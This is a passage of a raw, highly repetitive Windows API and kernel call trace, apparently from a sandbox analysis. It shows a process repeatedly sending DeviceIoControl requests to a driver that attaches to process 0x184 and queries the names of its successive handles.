nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.543] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.543] PsAcquireProcessExitSynchronization () returned 0x0 [0103.543] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.543] ObReferenceObjectByHandle (in: Handle=0x334, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001f35850, HandleInformation=0x0) returned 0x0 [0103.543] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.543] PsReleaseProcessExitSynchronization () returned 0x2 [0103.543] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.543] ObQueryNameString (in: Object=0xfffff8a001f35850, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.543] ObfDereferenceObject (Object=0xfffff8a001f35850) returned 0x1 [0103.543] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.543] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.543] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.543] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.544] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.544] PsAcquireProcessExitSynchronization () returned 0x0 [0103.544] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.544] ObReferenceObjectByHandle (in: Handle=0x344, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001ef4af0, HandleInformation=0x0) returned 0x0 [0103.544] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.544] PsReleaseProcessExitSynchronization () returned 0x2 [0103.544] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.544] ObQueryNameString (in: Object=0xfffff8a001ef4af0, ObjectNameInfo=0xfffffa8001edc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001edc044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.544] ObfDereferenceObject (Object=0xfffff8a001ef4af0) returned 0x1 [0103.544] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.544] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.544] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.544] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.544] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.544] PsAcquireProcessExitSynchronization () returned 0x0 [0103.544] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.544] ObReferenceObjectByHandle (in: Handle=0x354, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001bd1f00, HandleInformation=0x0) returned 0x0 [0103.544] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.544] PsReleaseProcessExitSynchronization () returned 0x2 [0103.544] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.544] ObQueryNameString (in: Object=0xfffff8a001bd1f00, ObjectNameInfo=0xfffffa8002514044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002514044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.544] ObfDereferenceObject (Object=0xfffff8a001bd1f00) returned 0x1 [0103.544] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.544] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.544] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.544] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.544] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.544] PsAcquireProcessExitSynchronization () returned 0x0 [0103.544] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.544] ObReferenceObjectByHandle (in: Handle=0x364, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001f6c680, HandleInformation=0x0) returned 0x0 [0103.544] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.544] PsReleaseProcessExitSynchronization () returned 0x2 [0103.544] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.544] ObQueryNameString (in: Object=0xfffff8a001f6c680, ObjectNameInfo=0xfffffa80034287c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80034287c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.544] ObfDereferenceObject (Object=0xfffff8a001f6c680) returned 0x1 [0103.545] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.545] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.545] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.545] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.545] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.545] PsAcquireProcessExitSynchronization () returned 0x0 [0103.545] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.545] ObReferenceObjectByHandle (in: Handle=0x368, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001f649f0, HandleInformation=0x0) returned 0x0 [0103.545] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.545] PsReleaseProcessExitSynchronization () returned 0x2 [0103.545] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.545] ObQueryNameString (in: Object=0xfffff8a001f649f0, ObjectNameInfo=0xfffffa80024926c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80024926c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.545] ObfDereferenceObject (Object=0xfffff8a001f649f0) returned 0x1 [0103.545] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.545] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.545] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.545] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.545] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.545] PsAcquireProcessExitSynchronization () returned 0x0 [0103.545] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.545] ObReferenceObjectByHandle (in: Handle=0x378, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001bc9330, HandleInformation=0x0) returned 0x0 [0103.545] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.545] PsReleaseProcessExitSynchronization () returned 0x2 [0103.545] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.545] ObQueryNameString (in: Object=0xfffff8a001bc9330, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.545] ObfDereferenceObject (Object=0xfffff8a001bc9330) returned 0x1 [0103.545] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.545] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.545] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.545] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.545] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.545] PsAcquireProcessExitSynchronization () returned 0x0 [0103.545] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.546] ObReferenceObjectByHandle (in: Handle=0x37c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001efaef0, HandleInformation=0x0) returned 0x0 [0103.546] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.546] PsReleaseProcessExitSynchronization () returned 0x2 [0103.546] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.546] ObQueryNameString (in: Object=0xfffff8a001efaef0, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.546] ObfDereferenceObject (Object=0xfffff8a001efaef0) returned 0x1 [0103.546] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.546] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.546] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.546] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.546] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.546] PsAcquireProcessExitSynchronization () returned 0x0 [0103.546] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.546] ObReferenceObjectByHandle (in: Handle=0x38c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001fa27a0, HandleInformation=0x0) returned 0x0 [0103.546] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.546] PsReleaseProcessExitSynchronization () returned 0x2 [0103.546] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.546] ObQueryNameString (in: Object=0xfffff8a001fa27a0, ObjectNameInfo=0xfffffa8002007044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002007044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.546] ObfDereferenceObject (Object=0xfffff8a001fa27a0) returned 0x1 [0103.546] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.546] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.546] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.546] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.546] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.546] PsAcquireProcessExitSynchronization () returned 0x0 [0103.546] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.546] ObReferenceObjectByHandle (in: Handle=0x39c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001f4e6d0, HandleInformation=0x0) returned 0x0 [0103.546] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.546] PsReleaseProcessExitSynchronization () returned 0x2 [0103.546] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.546] ObQueryNameString (in: Object=0xfffff8a001f4e6d0, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.546] ObfDereferenceObject (Object=0xfffff8a001f4e6d0) returned 0x1 [0103.546] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.546] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.547] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.547] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.547] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.547] PsAcquireProcessExitSynchronization () returned 0x0 [0103.547] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.547] ObReferenceObjectByHandle (in: Handle=0x3ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001f86670, HandleInformation=0x0) returned 0x0 [0103.547] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.547] PsReleaseProcessExitSynchronization () returned 0x2 [0103.547] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.547] ObQueryNameString (in: Object=0xfffff8a001f86670, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.547] ObfDereferenceObject (Object=0xfffff8a001f86670) returned 0x1 [0103.547] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.547] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.547] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.547] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.547] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.547] PsAcquireProcessExitSynchronization () returned 0x0 [0103.547] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.547] ObReferenceObjectByHandle (in: Handle=0x3bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001f1d110, HandleInformation=0x0) returned 0x0 [0103.547] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.547] PsReleaseProcessExitSynchronization () returned 0x2 [0103.547] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.547] ObQueryNameString (in: Object=0xfffff8a001f1d110, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fc044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.547] ObfDereferenceObject (Object=0xfffff8a001f1d110) returned 0x1 [0103.547] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.547] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.547] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.547] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.547] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.547] PsAcquireProcessExitSynchronization () returned 0x0 [0103.547] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.547] ObReferenceObjectByHandle (in: Handle=0x3cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001f6b4f0, HandleInformation=0x0) returned 0x0 [0103.547] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.548] PsReleaseProcessExitSynchronization () returned 0x2 [0103.548] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.548] ObQueryNameString (in: Object=0xfffff8a001f6b4f0, ObjectNameInfo=0xfffffa8001fb7044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fb7044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.548] ObfDereferenceObject (Object=0xfffff8a001f6b4f0) returned 0x1 [0103.548] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.548] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.548] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.548] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.548] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.548] PsAcquireProcessExitSynchronization () returned 0x0 [0103.548] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.548] ObReferenceObjectByHandle (in: Handle=0x3dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001fc79f0, HandleInformation=0x0) returned 0x0 [0103.548] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.548] PsReleaseProcessExitSynchronization () returned 0x2 [0103.548] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.548] ObQueryNameString (in: Object=0xfffff8a001fc79f0, ObjectNameInfo=0xfffffa80025fd044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fd044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.548] ObfDereferenceObject (Object=0xfffff8a001fc79f0) returned 0x1 [0103.548] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.548] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.548] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.548] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.548] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.548] PsAcquireProcessExitSynchronization () returned 0x0 [0103.548] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.548] ObReferenceObjectByHandle (in: Handle=0x3ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001fb78d0, HandleInformation=0x0) returned 0x0 [0103.548] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.548] PsReleaseProcessExitSynchronization () returned 0x2 [0103.548] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.548] ObQueryNameString (in: Object=0xfffff8a001fb78d0, ObjectNameInfo=0xfffffa80025075c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025075c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.548] ObfDereferenceObject (Object=0xfffff8a001fb78d0) returned 0x1 [0103.548] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.548] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.548] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.549] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.549] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.549] PsAcquireProcessExitSynchronization () returned 0x0 [0103.549] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.549] ObReferenceObjectByHandle (in: Handle=0x3fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001faea00, HandleInformation=0x0) returned 0x0 [0103.549] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.549] PsReleaseProcessExitSynchronization () returned 0x2 [0103.549] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.549] ObQueryNameString (in: Object=0xfffff8a001faea00, ObjectNameInfo=0xfffffa8001feb044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001feb044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.549] ObfDereferenceObject (Object=0xfffff8a001faea00) returned 0x1 [0103.549] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.549] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.549] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.549] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.549] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.549] PsAcquireProcessExitSynchronization () returned 0x0 [0103.549] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, 